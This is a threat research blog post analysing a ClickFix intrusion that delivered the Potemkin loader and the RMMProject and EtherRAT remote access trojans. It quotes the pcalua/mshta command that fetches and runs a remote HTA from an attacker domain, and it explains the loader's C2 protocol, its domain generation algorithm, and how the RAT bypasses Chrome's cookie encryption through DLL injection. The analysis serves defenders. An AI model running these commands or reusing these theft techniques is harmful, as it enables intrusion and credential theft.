Let’s talk about the identity gaps every team has to close. Join the convo.
Utility navigation bar redirect icon
Portal LoginSupportBlogContact
Search
Close search
Huntress Logo in Teal
  • Platform Overview
    Managed EDR

    Get full endpoint visibility, detection, and response.

    Managed EDR

    Get full endpoint visibility, detection, and response.

    Managed ITDR: Identity Threat Detection and Response

    Protect your Microsoft 365 and Google Workspace identities and email environments.

    Managed ITDR: Identity Threat Detection and Response

    Protect your Microsoft 365 and Google Workspace identities and email environments.

    Managed SIEM

    Managed threat response and robust compliance support at a predictable price.

    Managed SIEM

    Managed threat response and robust compliance support at a predictable price.

    Managed Security Awareness Training Software

    Empower your teams with science-backed security awareness training.

    Managed Security Awareness Training Software

    Empower your teams with science-backed security awareness training.

    Managed ISPM

    Continuous Microsoft 365 and identity hardening, managed and enforced by Huntress experts.

    Managed ISPM

    Continuous Microsoft 365 and identity hardening, managed and enforced by Huntress experts.

    Managed ESPM

    Proactively secure endpoints against attacks.

    Managed ESPM

    Proactively secure endpoints against attacks.

    Integrations
    Integrations
    Support Documentation
    Support Documentation
    See Huntress in Action

    Quickly deploy and manage real-time protection for endpoints, email, and employees - all from a single dashboard.

    Huntress Cybersecurity
    See Huntress in Action

    Quickly deploy and manage real-time protection for endpoints, email, and employees - all from a single dashboard.

    Huntress Cybersecurity
  • Threats We Stop
    Phishing
    Phishing
    Business Email Compromise
    Business Email Compromise
    Ransomware
    Ransomware
    Infostealers
    Infostealers
    Living off the Land
    Living off the Land
    Initial Access & RaaS
    Initial Access & RaaS
    View Allright arrowView Allright arrow
    Industries We Serve
    Education
    Education
    Financial Services
    Financial Services
    State and Local Government
    State and Local Government
    Healthcare
    Healthcare
    Law Firms
    Law Firms
    Manufacturing
    Manufacturing
    Utilities
    Utilities
    View Allright arrowView Allright arrow
    Tailored Solutions
    MSPs
    MSPs
    Resellers
    Resellers
    SMBs
    SMBs
    Compliance
    Compliance
    Disrupting your business is Big Cybercrime’s business model

    Stop unwanted interruptions before they stop your workflow.



    Huntress Cybersecurity
    Cybercriminals Have Evolved

    Get the intel on today’s cybercriminal groups and learn how to protect yourself.

    Huntress Cybersecurity
  • Pricing
  • Community Series
    The Product Lab

    Shape the next big thing in cybersecurity together.

    The Product Lab

    Shape the next big thing in cybersecurity together.

    Fireside Chat

    Real people. Real perspectives. Better conversations.

    Fireside Chat

    Real people. Real perspectives. Better conversations.

    Tradecraft Tuesday

    No products, no pitches – just tradecraft.

    Tradecraft Tuesday

    No products, no pitches – just tradecraft.

    _declassified

    Exposing hidden truths in the world of cybersecurity.

    _declassified

    Exposing hidden truths in the world of cybersecurity.

    Resources
    Upcoming Events
    Upcoming Events
    Ebooks
    Ebooks
    On-Demand Webinars
    On-Demand Webinars
    Videos
    Videos
    Whitepapers
    Whitepapers
    Datasheets
    Datasheets
    Cybersecurity Education
    Cybersecurity 101
    Cybersecurity 101
    Cybersecurity Guides
    Cybersecurity Guides
    Threat Library
    Threat Library
    Real Tradecraft, Real Results
    Real Tradecraft, Real Results
    2026 Cyber Threat Report
    2026 Cyber Threat Report
    The Huntress Blog
    Someone's Hands Are on Your Keyboard Then Your Whole Network. Courtesy of ClickFix, Potemkin, RMMProject and EtherRAT
    Huntress Cybersecurity
    Someone's Hands Are on Your Keyboard Then Your Whole Network. Courtesy of ClickFix, Potemkin, RMMProject and EtherRAT
    Huntress Cybersecurity
    The Devil, Eight Million Emails, and a Whole Lot of Milk
    Huntress Cybersecurity
    The Devil, Eight Million Emails, and a Whole Lot of Milk
    Huntress Cybersecurity
    Akira, LimeWire, and the Sour Taste of Data Exfiltration
    Huntress Cybersecurity
    Akira, LimeWire, and the Sour Taste of Data Exfiltration
    Huntress Cybersecurity
  • Why Huntress

    Go beyond AI in the fight against today’s hackers with Huntress Managed EDR purpose-built for your needs

    Huntress Cybersecurity
    Why Huntress

    Go beyond AI in the fight against today’s hackers with Huntress Managed EDR purpose-built for your needs

    Huntress Cybersecurity
    The Huntress SOC

    24/7 Security Operations Center

    The Huntress SOC

    24/7 Security Operations Center

    Reviews

    Why businesses of all sizes trust Huntress to defend their assets

    Reviews

    Why businesses of all sizes trust Huntress to defend their assets

    Case Studies

    Learn directly from our partners how Huntress has helped them

    Case Studies

    Learn directly from our partners how Huntress has helped them

    Community

    Get in touch with the Huntress Community team

    Community

    Get in touch with the Huntress Community team

    Compare Huntress
    Bitdefender
    Bitdefender
    Blackpoint
    Blackpoint
    Breach Secure Now!
    Breach Secure Now!
    Crowdstrike
    Crowdstrike
    Kaseya
    Kaseya
    SentinelOne
    SentinelOne
    Sophos
    Sophos
    Compare Allright arrowCompare Allright arrow
  • HUNTRESS HUB

    Login to access top-notch marketing resources, tools, and training.

    Huntress Cybersecurity
    HUNTRESS HUB

    Login to access top-notch marketing resources, tools, and training.

    Huntress Cybersecurity
    Partners
    MSPs

    Join our partner community to deliver expert-led managed security.

    MSPs

    Join our partner community to deliver expert-led managed security.

    Resellers

    Partner program designed to grow your cybersecurity business.

    Resellers

    Partner program designed to grow your cybersecurity business.

    Tech Alliances

    Driving innovation through global technology Partnerships

    Tech Alliances

    Driving innovation through global technology Partnerships

    Microsoft Partnership

    A Level-Up for Your Business Security

    Microsoft Partnership

    A Level-Up for Your Business Security

  • Press Release
    Huntress Announces Collaboration with Microsoft to Strengthen Cybersecurity for Businesses of All Sizes
    Huntress Cybersecurity
    Press Release
    Huntress Announces Collaboration with Microsoft to Strengthen Cybersecurity for Businesses of All Sizes
    Huntress Cybersecurity
    Our Story

    We're on a mission to shatter the barriers to enterprise-level security.

    Our Story

    We're on a mission to shatter the barriers to enterprise-level security.

    Newsroom

    Explore press releases, news articles, media interviews and more.

    Newsroom

    Explore press releases, news articles, media interviews and more.

    Meet the Team

    Founded by former NSA Cyber Operators. Backed by security researchers.

    Meet the Team

    Founded by former NSA Cyber Operators. Backed by security researchers.

    Careers

    Ready to shake up the cybersecurity world? Join the hunt.

    Careers

    Ready to shake up the cybersecurity world? Join the hunt.

    Awards
    Awards
    Contact Us
    Contact Us
  • Portal Login
  • Support
  • Blog
  • Contact
  • Search
  • Get a Demo
  • Start for Free
Portal LoginSupportBlogContact
Search
Close search
Get a Demo
Start for Free
HomeBlog
Someone's Hands Are on Your Keyboard Then Your Whole Network. Courtesy of ClickFix, Potemkin, RMMProject and EtherRAT
Published:
June 16, 2026

Someone's Hands Are on Your Keyboard Then Your Whole Network. Courtesy of ClickFix, Potemkin, RMMProject and EtherRAT

By:
Anna Pham
Zach Rogers
Share icon
Glitch effectGlitch effectGlitch effect

Key Takeaways

  • A single ClickFix prompt on an unmonitored endpoint gave the attacker an unchallenged foothold that eventually spread to over 11 hosts, ending in the deployment of two RATs (RMMProject and EtherRAT). Endpoint coverage gaps don't just mean missing telemetry - they give attackers the room to establish persistence and move laterally before anyone is watching. 

  • The attack included a new loader we dubbed as Potemkin, which is a purpose-built loader with a deterministic Domain Generation Algorithm (DGA), a custom byte cipher, and a reflective module loader, but its entire command vocabulary is a single task code (1015). It exists to deliver RMMProject.

  • RMMProject is a RAT that embeds a LuaJIT scripting engine and consists of 15 task types, browser credential and cookie theft across Chrome/Firefox/Edge (including a Chrome App-Bound Encryption bypass via embedded DLL injection into a spawned browser process), a hidden-desktop remote control module, and its own copy of the same DGA as Potemkin for redundant C2 resolution. 

  • The attacker's hands-on activity showed persistence and adaptability. They fought through multiple rounds of Defender detections, cycled through AMSI patches, registry policy writes, reflective loading, and exclusion path abuse before eventually killing the Defender service.

Background

Figure 1: Diagram showing the attack chain


Huntress previously documented a ClickFix case in February involving lateral movement and the delivery of malware-as-a-service loader Matanbuchus and a novel custom implant called AstarionRAT. In a new case in May 2026 , we observed another ClickFix infection - this time leading to a full hands-on-keyboard intrusion that spanned 11 hosts across the victim's network.

The infection began on an unmonitored endpoint, where the user was tricked into running a ClickFix command that fetched and silently installed an MSI package. The MSI dropped Potemkin loader, a custom x64 loader that uses a domain generation algorithm to find its C2 and reflectively loads follow-on modules in memory. The module served through Potemkin was RMMProject, a 4.4 MB Lua-scriptable DLL with browser credential theft (including a Chrome App-Bound Encryption bypass via embedded DLL injection), a hidden-desktop remote control module, and 15 distinct task types. Separately, the attacker deployed EtherRAT, a known Node.js backdoor that resolves its C2 address from the Ethereum blockchain, along with a Cloudflare tunnel for persistent access.

With those footholds established, the operator moved to hands-on-keyboard activity - fighting a running battle with Windows Defender, deploying Chisel reverse SOCKS tunnels, and spreading laterally via WMIExec and SMBExec to ultimately reach the domain controller and spray EtherRAT across over 11 hosts. The intrusion was already well underway by the time the Huntress agent was installed on the affected endpoints.

Why is ClickFix still so effective? 

ClickFix remains effective for a simple reason: it exploits human nature. People naturally follow directions when presented with a clear, authoritative-looking instruction (“press Win+R, paste this, hit Enter”). The social engineering doesn't need to be sophisticated; it just needs to look like a legitimate troubleshooting step and more often than not, that's enough.

This case is also a reminder of why endpoint coverage matters. The initial infection originated from an unmonitored endpoint, which gave the attacker an unchallenged foothold. Had that endpoint been monitored, the malicious activity could have been caught early - before hands-on-keyboard activity began, before lateral movement occurred, and before EtherRAT ever had a chance to establish itself deeper in the environment. Visibility gaps don't just mean missing telemetry; they mean giving attackers the room they need to do real damage.

What happened?

The user visited the compromised website and was instructed to run the following command in the Windows Run Dialog window:

cmd /min /c "pcalua.exe -a mshta.exe -c hxxps://cl.distritovagas.com/hte[.]hta"\1

The command abuses pcalua.exe as a LOLBIN to proxy mshta.exe execution, fetching and running a remote HTA payload to evade process-based detections.

What’s in hte.hta?

Figure 2: Content of the hte.hta file


The HTA payload hides its window, uses WScript.Shell to run curl silently downloading an MSI from an attacker-controlled domain (sonra.eutialyson[.]com/inst24.msi), then executes it via msiexec /qn for silent installation. 

Potemkin loader

Before walking through the hands-on-keyboard intrusion and lateral movement, let's look at the loader binary dropped on the endpoint. We are tracking it as Potemkin, a custom x64 Windows loader. Potemkin was delivered as part of an MSI installer (inst24.msi) built with the WiX Toolset. The installer dropped the loader to C:\Users\<username>\AppData\Local\Microsoft\RunSearch\RunSearch.exe and registered persistence at install time via an MSI AutostartRegistry component, which created HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunSearch = [INSTALLFOLDER]RunSearch.exe. 

Potemkin has six functionally distinct components. Five of them tag every log line they emit with a fixed prefix ([Agent], [DNS], [Chan], [Sync], [DLL]); the sixth is the cipher core - every component above calls into it to decrypt strings:

Loading Gist...


Component 1: [Agent] - main worker loop

Eleven distinct log strings live inside the main function:

  • [Agent] start, seed= - Fires once, at worker thread entry. The value after = is the hardcoded XorShift32 seed (151678 in this build). 

  • [Agent] DNS lookup seed= - Fires at the start of every cycle, just before the agent begins probing candidate domains. The seed value is the same on every cycle, which is how we know two infections produce the same domain probes in the same order. 

  • [Agent] DNS: domain= - Fires when the agent finds a live C2 server. The value is the domain that responded with “ok” to the /api/client_hello probe. 

  • [Agent] DNS: no domain found, sleeping 1 min - Fires when none of the 10,000 candidate domains responded. The agent then sleeps for 60 seconds and tries the entire list again. Presence of this line means the C2 was completely unreachable across every probe. 

  • [Agent] uuid= - Fires after the agent successfully establishes its identity with the C2. The value is the UUID that will be used for the rest of the session - either freshly assigned (first run) or read back from %LOCALAPPDATA%\hyper-v.ver and re-verified

  • [Agent] init status= - Fires after the post-identity handshake (POST/api/client/init). The value is the HTTP status code returned. 

  • [Agent] poll got_task= - Fires after every poll of the C2 (every ~5 minutes in the wild). Value is 1 when the C2 returns a body indicating a task is ready, 0 otherwise. 

  • [Agent] LoadAndRunDLL= - Fires after Potemkin attempts to fetch and run a follow-on DLL, but only when the previous got_task was 1. Value is 1 if the DLL was successfully fetched, decoded, mapped, and executed; 0 if any step failed. 

  • [Agent] DLL returned (updatedll), reloading... - Fires when the loaded DLL signals that it wants to be replaced. The agent skips its sleep and immediately fetches the next DLL. 

  • [Agent] exception: - Fires when an internal C++ exception is caught with a known type. The value after the colon is the exception's message. 

  • [Agent] unknown exception - Fires when an exception is caught but the type is unrecognized - no message is captured.

The DGA (Domain Generation Algorithm) seed 151678 is the only seed value Potemkin uses. A DGA generates a list of domain names algorithmically rather than hardcoding them - the operator only needs to register one of the generated domains before deployment, and the malware will find it by trying each candidate in sequence. Because the seed is fixed, there is no per-host randomization and no time-based reseeding. Two independent infections running the same build will probe the exact same sequence of domains, in the exact same order, on every iteration. This makes the candidate space precomputable and finite (10,000 domains).

The hot-reload branch (signal == “updatedll”) skips the inner-loop sleep. The operator can push live module updates that complete within one network round-trip without waiting for the next polling cycle. The nominal sleep interval is 60 seconds, but as the recovered debug log (we will talk about this later in the blog) shows, the effective poll cadence in the wild is closer to 5m27s once C2 latency is factored in. We will return to how the signal value flows out of the loaded DLL when we cover the [DLL] subsystem. 

Component 2: [DNS]

Potemkin doesn't have a hardcoded C2 address. Instead, every time it needs to talk to its operator, it generates a list of candidate domain names from a built-in dictionary and tries each one until one responds with an expected reply. The generator is deterministic, given the same starting seed (151678), it produces the same domains in the same order on every run. This pattern is known as a Domain Generation Algorithm, or DGA. The advantage for the operator is that they don't have to hardcode a domain that defenders could block in advance, they only need to register one of the candidate domains shortly before deploying the malware. The advantage for us defenders is the opposite: because the algorithm is deterministic and recoverable, every possible candidate domain can be precomputed and blocklisted. See the Indicators of Compromise section for a complete list of generated domains for this payload.

The payload generates 10,000 domains. The agent walks all of them in order, sending a small probe to each, and stops at the first one that returns a valid response. If none of the 10,000 respond, it sleeps for one minute and tries the entire list again from the top. 

Potemkin produces three log messages:

  • [DNS][<n>] trying <domain>:443 - about to probe candidate number n (zero-indexed)

  • [DNS] FOUND domain[<n>]: <domain> - got a valid response from candidate n; this is the C2 for this session

  • [DNS] exhausted all 10000 domains, none responded - no candidate replied; sleep one minute and retry

For each candidate domain, Potemkin sends an HTTP GET request to a fixed URL path (/api/client_hello) on port 443, then checks the response body for a particular keyword (“ok”). Both the URL path and the keyword live encrypted inside the binary. The live-check is: send GET /api/client_hello to C2 on port 443, and if the response body contains the substring “ok” (with quotes around it), consider this candidate the live C2 and stop searching. Potemkin's HTTP code is written using cpp-httplib, an open-source C++ HTTP library, so every C2 request carries User-Agent: cpp-httplib/0.12.1. In the captured infection, the response body was {"ok":true}, which contains the byte sequence "ok": and satisfies the check.

Figure 3: Wireshark capture of a Potemkin DGA probe to C2 anus-staylard[.]xyz

The DGA generator

Potemkin produces domains by picking three words from a built-in 1,000-word dictionary, optionally separating them with dashes, and appending .xyz. Example outputs from the captured infection: pestrear-lamp[.]xyz, uglyshop-mare[.]xyz, rule-bead-dust[.]xyz, anus-staylard[.]xyz, fair-bath-fond[.]xyz. 

The "randomness" that picks which words to use and where to put dashes comes from a small algorithm called XorShift32, a simple deterministic routine that turns a 32-bit number into a long sequence of numbers that look random. Each time Potemkin generates a candidate domain it calls XorShift32 five times: three of the results pick word indices into the 1,000-word dictionary, the other two decide whether to insert dashes between adjacent words. 

The word salad bar 

The dictionary the generator pulls from contains 1,000 English words, broken down by length as follows:

  • 54 four-letter words

  • 920 five-letter words

  • 25 six-letter words

  • 1 seven-letter word

Every word is stored encrypted in .data and decrypted on first use. The dictionary is dominated by five-letter words because most common short English nouns and verbs are that length; the single seven-letter word and the small set of four-letter words are outliers that produce noticeably shorter or longer domains than the typical output. The Python implementation of the DGA algorithm:

Loading Gist...

Figure 4: XorShift32 inlined into the per-word loop

Component 3: Custom byte cipher

Potemkin protects two categories of strings with a custom byte cipher: the constants needed for C2 communication, and the entire DGA dictionary. Everything else in the binary - HTTP framing, JSON keys, log strings, and persistence path - lives in plaintext.

The decrypted strings:

  • /api/client_hello - DGA liveness probe path 

  • : - Host header host:port separator 

  • ok - Probe response check token 

  • .xyz - DGA top-level domain 

  • test_agent - Hardcoded loader_id value 

  • 1,000 dictionary words - DGA word list (54 four-letter, 920 five-letter, 25 six-letter, 1 seven-letter) 

The cipher is a custom four-round byte-level construction. The binary contains eight near-identical decoder functions, one for each plaintext length the payload needed to encrypt (2, 3, 4, 5, 6, 7, 11, and 18 characters). Each encrypted string is stored alongside its key material in a single struct in .data. The figure below shows this for the string test_agent.

Each round block is 12 bytes and holds three values:

  • A starting key byte - the initial value used to mix with the data (highlighted in the figure: 0x05 for round 4, 0x04 for round 3)

  • A key_op - a number (1-4) that tells the cipher how to mutate the key after each byte (increment, bitflip, bit-shuffle, or rotate)

  • A data_op - a number (1-4) that tells the cipher how to transform each data byte using the current key (subtract, XOR, rotate, or bit-shuffle)

When decrypting, the cipher loops through the round blocks and for each round walks every encrypted byte, applying data_op to mix the byte with the key and then key_op to evolve the key before moving to the next byte. Because the key mutates after every byte, each byte gets a different effective key value even though only one starting key byte is stored per round.

Not every string uses all four rounds. In the test_agent struct, rounds 1 and 2 are all zeros, meaning those rounds do nothing. Only rounds 3 and 4 are active. Other strings in the binary fill all four round slots with non-zero values.

Different strings have different data_op, key_op, and starting key byte values baked into their structs at compile time, so each string has its own unique decryption recipe despite all of them running through the same cipher code.

Figure 5: Annotated IDA view of the test_agent cipher struct, showing the encrypted data, round blocks with key_byte/key_op/data_op fields, and skipped rounds 

Decryption algorithm:

Loading Gist...

The choice of which strings to encrypt is selective and inconsistent. The malware author encrypted the probe path (/api/client_hello) but left the tasking endpoints (/tasks/get_worker, /tasks/collect) and the DLL-fetch endpoint (/avast_update) in plaintext. They encrypted test_agent but left loader_id (the field name carrying it) in plaintext. 

Component 4: [Chan]

Component 4 produces the artifact we can find on a victim host: %LOCALAPPDATA%\hyper-v.ver, a file containing a single UUID string, a C2 identifier for that compromised host. First, the infected machine sends POST /api/client/new with {"os_info":"Windows"} to the C2. The server responds with a UUID, for example {"ok":"70cdb427-ac79-48f5-bd2d-38f26b08e5ad"}. The agent extracts that UUID and writes it verbatim to %LOCALAPPDATA%\hyper-v.ver. 

The agent reads the UUID from hyper-v.ver and sends POST /api/client/verify with it. If the C2 responds with “ok”, the UUID is reused. If verification fails, the agent falls back to the registration path and gets a new one.

Component 4 contains the following log strings:

  • [Chan] POST /api/client/new - about to register

  • [Chan] new status= - registration response received

  • [Chan] new: no response, err= - registration request failed

  • [Chan] new: token field empty in response - C2 responded but didn't include a UUID

  • [Chan] verify status= - verification response received

  • [Chan] verify no response, err= - verification request failed

  • [Chan] verify token= - UUID successfully verified, reusing it

  • [Chan] exception: / [Chan] unknown exception - error handlers

After identity is established, the agent posts /api/client/init:

Loading Gist...

Component 5: [Sync] - task polling

The [Sync] component runs once per polling cycle. It is a two-stage transaction: fetch a task assignment from the C2, then send back an acknowledgment. The acknowledgement payload is always the same: {"status":"true","uuid":"...","type":"1015","task_result":"b2s="} - regardless of what task was received. The task_result field is just base64-encoded “ok” (b2s=). 

Eleven distinct strings are initialized into globals inside the [Sync] subsystem before the first request. Unlike the operational strings used by [DNS] (which are encrypted in .data and decrypted on demand), all 11 of these live in plaintext in .rdata and are referenced directly by their addresses. They cover every JSON key, every JSON value, every endpoint, and the content type used across both stages of the polling transaction:

Loading Gist...

Figure 6: Hardcoded strings in the [Sync] component

Worker fetch

The first request checks whether the C2 has a task ready:

Loading Gist...

uuid is the persisted client identity (found in hyper-v.ver), and loader_id is the string test_agent, recovered by decrypting the encrypted struct we covered in the decryption section. Every /tasks/get_worker request from this build carries the same "loader_id":"test_agent" literal.

Response check

The response body is checked for two substrings: “ok” and “1015”. Both must be present for the agent to consider a task ready. This is where the value 1015 becomes meaningful—it's the C2's way of signaling “there is a DLL task ready for this client”.

Task acknowledgment

If both substrings match, the agent immediately posts the acknowledgment:

Loading Gist...

Component 6: [DLL] - module fetch

The [DLL] subsystem fetches a follow-on DLL from the C2 and loads it entirely in memory - parsing the PE headers, mapping sections, fixing up addresses, and resolving imports without ever calling LoadLibrary. It then calls an export named TLSDataStart. 

Figure 7: PE section mapping, relocation patching, import resolution, and DllMain invocation without LoadLibrary 

Some log strings give us the insights here:

  • [DLL] GET /avast_update - about to fetch the DLL

  • [DLL] status= - HTTP response code from the fetch

  • [DLL] decoded size= - size of the DLL after base64 decoding

  • [DLL] base= - memory address where the DLL was mapped

  • [DLL] entry_point= - whether the expected export was found in the DLL

  • [DLL] hbot= - heartbeat counter value at the time of execution

  • [DLL] entry returned, unloading module - the DLL's export function returned; about to unmap

  • [DLL] no response, err= - the fetch request failed entirely

The HTTP request:

Loading Gist...

TLSDataStart: is sent with an empty value. The string TLSDataStart is the export name the reflective loader looks for inside the returned DLL. Any DLL pushed through /avast_update must export a function named TLSDataStart. If the export is not found, the loader unmaps the module and returns failure. The agent loop logs [Agent] LoadAndRunDLL=0 and continues to the next iteration.

When the export function returns, the loader immediately unmaps the module. The mapped memory region is freed. The loaded module had no opportunity to persist code or state between iterations. The agent then checks whether one of the argument buffers now contains the literal string updatedll. If it does, the agent logs:

[Agent] DLL returned (updatedll), reloading…

Then immediately re-enters the DLL fetch path without sleeping. This signals the C2 to send an updated DLL, which gets fetched and loaded in the same polling cycle. If the buffer doesn't contain updatedll, the agent sleeps for 60 seconds before polling again. 

Most modular loaders ship with a command dispatcher - a numeric or string opcode table where the operator can choose between download-and-execute, shell, file-listing, screenshot, kill, sleep, and so on. Potemkin has none of that, and the entire command vocabulary is pretty much one numeric code, 1015.

There is no error reporting channel back to the operator. If the DLL fetch fails, the agent logs the failure locally in dll_debug.log under %TEMP% but never tells the C2:

Loading Gist...

RMMProject 

We recovered the DLL that the C2 served through /avast_update. The file is a 4.4 MB x64 DLL (avast_update.bin, SHA256: 3b7ae925e2d64522b4f69b56285b05aeca8c5aab5ab46a9c02c4fafb69d881ce) with the expected TLSDataStart export. 

How the RMMProject receives its configuration

When Potemkin calls the TLSDataStart export, it passes two string arguments. The first is the C2 connection info. The second is a JSON task list, a configuration object from the C2 that tells RMMProject what to do (which browsers to target, what data to collect, and where to send it). RMMProject parses this JSON, executes each task, and POSTs the results back to the C2 before returning control to Potemkin. 

Embedded DGA - same algorithm, same dictionary

RMMProject also has its own embedded copy of the DGA. The binary contains a domain resolver function that logs [DNS] FOUND domain[N] on success and [DNS] exhausted all N domains, none responded on failure - the same log format as the loader. The generator uses the same XorShift32 PRNG with the same constants (<<13, >>17, <<5), the same mod 1,000 word lookup from a 1,000-word encrypted dictionary (confirmed by exactly 1,000 TLS-guarded initialization blocks in the word lookup function), the same three-word concatenation with optional hyphens, the same 10,000-domain search limit, and the same default seed 0xDEADBEEF. The TLD is stored encrypted in a 4-byte global, consistent with .xyz. The dictionary is pretty much identical to Potemkin's. 

Architecture: Lua-scriptable native modules

RMMProject embeds a full LuaJIT scripting engine (identified by the presence of LuaJIT-specific libraries ffi and jit in the initialization code, along with hundreds of Lua VM error messages).

On startup, RMMProject initializes the Lua VM, then registers a set of native C++ modules into the scripting environment. The C2 sends Lua scripts as part of the JSON task list, and RMMProject executes them. Each script can call any combination of the registered native modules and results are collected and POSTed back to the C2.

The following native modules are exposed to Lua (identified from C++ RTTI class names in the binary):

  • Http—HTTP client (GET/POST) built on cpp-httplib, for exfiltrating data or fetching additional payloads

  • Json—JSON construction and parsing via nlohmann::json

  • SQLiteDatabase / SQLiteStatement / SQLiteColumn—full SQLite 3.36.0 query interface, used to read browser credential databases

  • WinReg—Windows registry read/write (HKEY_CURRENT_USER, HKEY_USERS, key creation, value enumeration, deletion)

  • ASN1Decoder / ASN1Integer / ASN1OID—ASN.1 parsing for decoding NSS certificate and key storage formats

  • DirectoryStatement / RecursiveDirectoryStatement—filesystem enumeration (file listing, recursive directory walk)

Full task command table

RMMProject’s task dispatcher implements a switch statement with 15 task types, far more than Potemkin's single 1015 code. Each task type is a numeric code sent by the C2 inside the JSON task list:

Loading Gist...

Browser credential and cookie theft

The most noticeable capability in the DLL targets browser credentials and cookies across Chrome, Firefox, and Edge. Three separate task codes handle different aspects of browser data theft: 1001 for saved passwords, 1002 for cookies, 1003 for stored credentials, and 1013 for autofill data. All of them share the same underlying browser-access infrastructure.

The cookie-stealing path (task 1002) runs through a single 10 KB orchestrator function that processes all three browsers in sequence and logs its progress with kCookies: prefixed debug messages:

Loading Gist...

There are also error-path variants (kCookies: chrome ex:, kCookies: firefox ex:, kCookies: edge ex:, kCookies: exception:) that log failures per browser. The log output reveals the exfiltration pipeline: the function parses cookies from Chrome, logs the count, parses Firefox cookies, logs that count, parses Edge cookies, logs that count, then reports the total, serializes everything to JSON, compresses the JSON with zlib, and reports the compressed size. The final compressed blob is the task result that gets POSTed back to the C2.

For Chrome and Edge, the DLL decrypts cookie and credential data through a multi-step process that handles both the legacy and modern Chromium encryption schemes. The DLL first reads the browser's Local State file, a JSON configuration file that Chromium-based browsers store in the user's profile directory. Inside this file, the encrypted_key field contains the browser's master encryption key, itself encrypted with DPAPI (Windows' Data Protection API). The DLL calls CryptUnprotectData (imported from CRYPT32.dll) to unwrap this key.

Starting with Chrome version 127, Google introduced a new protection layer called App-Bound Encryption (ABE) that wraps the DPAPI-encrypted key with an additional layer of encryption tied

to the Chrome application identity. A process that isn't Chrome can't simply call the decryption API - the key is bound to Chrome's own code-signing identity.

RMMProject bypasses this with an embedded helper DLL injection. A 4,608-byte helper DLL is stored inside the main DLL at a fixed offset, XOR-encoded with the key 0x5A. At runtime, the DLL decodes this blob and writes it to a temp file at %TEMP%\<random>.tmp.

The DLL then locates the browser executable on disk. It uses ExpandEnvironmentStringsW to resolve both the system-wide and per-user installation paths and tries multiple candidate locations until it finds chrome.exe or msedge.exe. It then spawns the browser with CreateProcessW using the flags CREATE_NO_WINDOW | DETACHED_PROCESS | DEBUG_ONLY_THIS_PROCESS, and the browser runs hidden and in a debug state. Immediately after, DebugActiveProcessStop releases the debug state while the DLL retains the process handle.

With that handle, the DLL resolves LoadLibraryW from kernel32.dll via GetModuleHandleA and GetProcAddress, allocates memory inside the browser process (VirtualAllocEx), writes the path to the temp DLL into it (WriteProcessMemory), and creates a remote thread (CreateRemoteThread) that calls LoadLibraryW with that path - the classic DLL injection technique. The helper DLL loads inside Chrome's process space, inheriting Chrome's application identity. It reads the encrypted cookie key from a shared memory section (created earlier via CreateFileMappingA), decrypts it using the ABE APIs that are now accessible because the code is running as Chrome, and writes the decrypted key back through a named pipe. The main DLL reads the result from the pipe and immediately terminates the browser process with TerminateProcess.

The helper DLL itself (SHA256: cd4e5e2c65b1660470d3446539ee68adf5faeece3eaeb46583623be9911ee145) is a minimal x64 PE. It contains the string ABEPayloadArgs—the name of the shared memory section where the main DLL passes the encrypted key data. Its import table reveals the decryption mechanism: it imports OpenFileMappingA and MapViewOfFile from KERNEL32 to read from shared memory, CoInitializeEx and CoCreateInstance from ole32.dll to instantiate Chrome's IElevator COM interface (the system-level COM object Chrome registers for App-Bound Encryption operations), and CreateFileA / WriteFile to send the decrypted result back through the named pipe.

Figure 8: The ABE helper DLL's core logic: instantiating Chrome's IElevator COM interface via CoCreateInstance, calling CoSetProxyBlanket to set authentication, then opening the named pipe (CreateFileA) to read the encrypted data and write the decrypted result back


Once the master key is recovered, the DLL opens the browser's Cookies and Login Data files, both of which are SQLite databases, using the embedded SQLite 3.36.0 engine. It queries these databases, decrypts each cookie value or credential using AES-GCM with the recovered master key, and collects the results.

For Firefox, the decryption path is entirely different because Firefox uses Mozilla's NSS (Network Security Services) cryptographic library rather than DPAPI. The DLL queries Firefox's key database with two specific SQL statements: SELECT item1 FROM metadata WHERE id = 'password' to retrieve the master password verification hash, and SELECT a11 FROM nssPrivate to extract the encrypted private keys. It then parses the NSS key format using ASN.1 decoding and decrypts the actual credentials using PBKDF2 key derivation followed by 3DES-CBC decryption. Both PBKDF2 and 3DES are implemented through the statically linked Crypto++ library.

Task 1022 provides the ability to kill browser processes entirely, likely used as a preparatory step before reading the browser's SQLite databases, since browsers hold exclusive locks on their own database files while running.

RTSC: Remote terminal and screen control

RMMProject contains a remote desktop module identified by [RTSC] log prefixes and the RTSCServer class visible in the binary's RTTI data. Task code 1006 starts a session; task code 1007 stops it.

When the operator starts an RTSC session, the DLL creates a hidden Windows desktop using CreateDesktopW. This hidden desktop is invisible to the user, meaning that anything rendered on it doesn't appear on the user's screen. The DLL then launches a Chrome or Edge browser instance on this hidden desktop (both StartChrome and StartEdge entry points are visible in the RTTI). This gives the operator a live browser session they can interact with while the victim sees nothing.

The RTSC module establishes two separate socket connections back to the C2. The first is a frame socket that streams screen captures of the hidden desktop, the DLL captures frames using GDI+ functions (CreateCompatibleBitmap, BitBlt for screen capture, GdipSaveImageToStream for encoding) and sends them over this socket. The second is an input socket that receives mouse movements, clicks, keystrokes, and clipboard operations from the operator and replays them on the hidden desktop. The input handler alone is 14 KB of code, dispatching each input event type to the appropriate Windows API call.

The input socket uses a session-based protocol, it performs a hello/session_id handshake before accepting commands, with each step logged via [RTSC] OpenInputSocket: messages. This is a hidden-desktop browser session hijacking capability, commonly used for real-time banking fraud where the attacker needs to interact with an authenticated browser session.

Figure 9: RTSC input socket handshake: sending the session ID and reporting the SISR (Screen Input Stream Receiver) buffer size back to the C2 


Task 1008 provides a simpler screenshot capability outside of the RTSC module - a single screen capture of the user's actual desktop, useful for reconnaissance before deciding whether to start a full RTSC session.

Process injection and module management

Task 1014 executes a file or process on the victim, with a parameter that specifies 32-bit or 64-bit execution. Task 1016 injects into a running process by name - the task configuration provides a name:data string, and RMMProject looks up the target process, injects the payload, and reports the result. Task 1017 cleans up after injection by terminating the injected threads.

The import table includes OpenProcessToken, AdjustTokenPrivileges, DuplicateTokenEx, ImpersonateLoggedOnUser, and LogonUserW. Tracing the call chains shows these are used by the cookie and credential theft tasks (1002, 1003) and the RTSC module (1006), not by the injection tasks. Their purpose is user impersonation: when RMMProject runs as SYSTEM or under a service account, it duplicates the logged-on user's token and impersonates them to access browser profile directories that belong to that user. The RTSC module uses the same mechanism to launch explorer on the hidden desktop under the correct user context.

